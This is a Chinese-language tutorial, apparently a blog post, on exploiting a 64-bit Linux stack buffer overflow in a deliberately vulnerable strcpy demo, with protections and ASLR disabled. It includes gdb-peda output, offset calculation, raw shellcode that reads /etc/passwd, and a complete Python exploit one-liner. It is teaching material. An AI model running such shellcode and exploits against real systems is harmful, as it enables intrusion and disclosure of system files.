0x01 x86與x64的區別
寄存器名稱的不同。如x86下的EBP、ESP在x64中都成為了RBP、RSP。
函數傳參的不同。x86中參數都是保存在棧上,但在x64中的前六個參數依次保存在RDI, RSI, RDX, RCX, R8和 R9中,如果還有更多的參數的話才會保存在棧上。
內存地址大小不同。在x64中的內存地址不能大於 0x00007fffffffffff ,否則會拋出異常(0x7fffffffffff = 01111111111111111111111111111111111111111111111)。通常我們嘗試覆蓋棧時出現段錯誤,通常是訪問了大於 0x00007fffffffffff 的地址造成的。
0x02 demo
int main(int argc,char**argv){char buffer[256];if(argc !=2){exit(0);} printf("%p\n", buffer); strcpy(buffer, argv[1]); printf("%s\n", buffer);return0;}
使用:gcc -m64 bof.c -o bof -z execstack -fno-stack-protector 編譯。
編譯完成之後我們把linux系統的ASLR(內存空間分布隨機化)關閉。
sudo -s echo 0 > /proc/sys/kernel/randomize_va_space
0x03 溢出棧
可以使用pattern腳本來計算緩沖區的大小:https://github.com/Svenito/exploit-pattern
liuil@ubuntu:~/Desktop/script$ ./pattern.py 300Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7AhAh9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9 liuil@ubuntu:~/Desktop$./bof Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj90x7fff29310170Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Segmentation fault (core dumped)
可以發現我們觸發了棧溢出,接下來計算緩沖區的大小。由於程序使用的內存地址不能大於0x00007fffffffffff,PC指針並沒有指向類似於0x41414141那樣地址,但是ret指令等於pop rip,我們可以通過查看棧頂指針的值確定下一步程序運行的地址。
[------------------------------------stack-------------------------------------]0000|0x7fffffffde38("Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9")0008|0x7fffffffde40("0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9")0016|0x7fffffffde48("j3Aj4Aj5Aj6Aj7Aj8Aj9")0024|0x7fffffffde50("Aj6Aj7Aj8Aj9")0032|0x7fffffffde58-->0x396a4138('8Aj9')0040|0x7fffffffde60-->0x00048|0x7fffffffde68-->0xc586ca108a1de5d60056|0x7fffffffde70-->0x400520(<_start>: xor ebp,ebp)[------------------------------------------------------------------------------]Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0000000000400686in main () gdb-peda$ x/gx $rsp 0x7fffffffde38:0x6a41396941386941
接著使用pattern.py計算緩沖區大小。
liuil@ubuntu:~/Desktop/script$ ./pattern.py 0x6a41396941386941Pattern0x6a41396941386941 first occurrence at position 264in pattern.
則緩沖區的大小為264個字節。
使用peda自帶的checksec功能查看是否開啟保護:
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : disabled PIE : disabled RELRO :Partial
發現沒有開啟任何保護,所以我們可以直接將shellcode放置在棧上執行。
則構造payload:shellcode + off + ret 即可。
利用一段現有的shellcode:
\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41
這段shellcode的作用是讀出/etc/passwd的內容。
寫出exp:
python -c 'print "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 + "\x7f\xff\xff\xff\xdc\x90"[::-1]'
執行完畢,就可以看到/etc/passwd的內容了。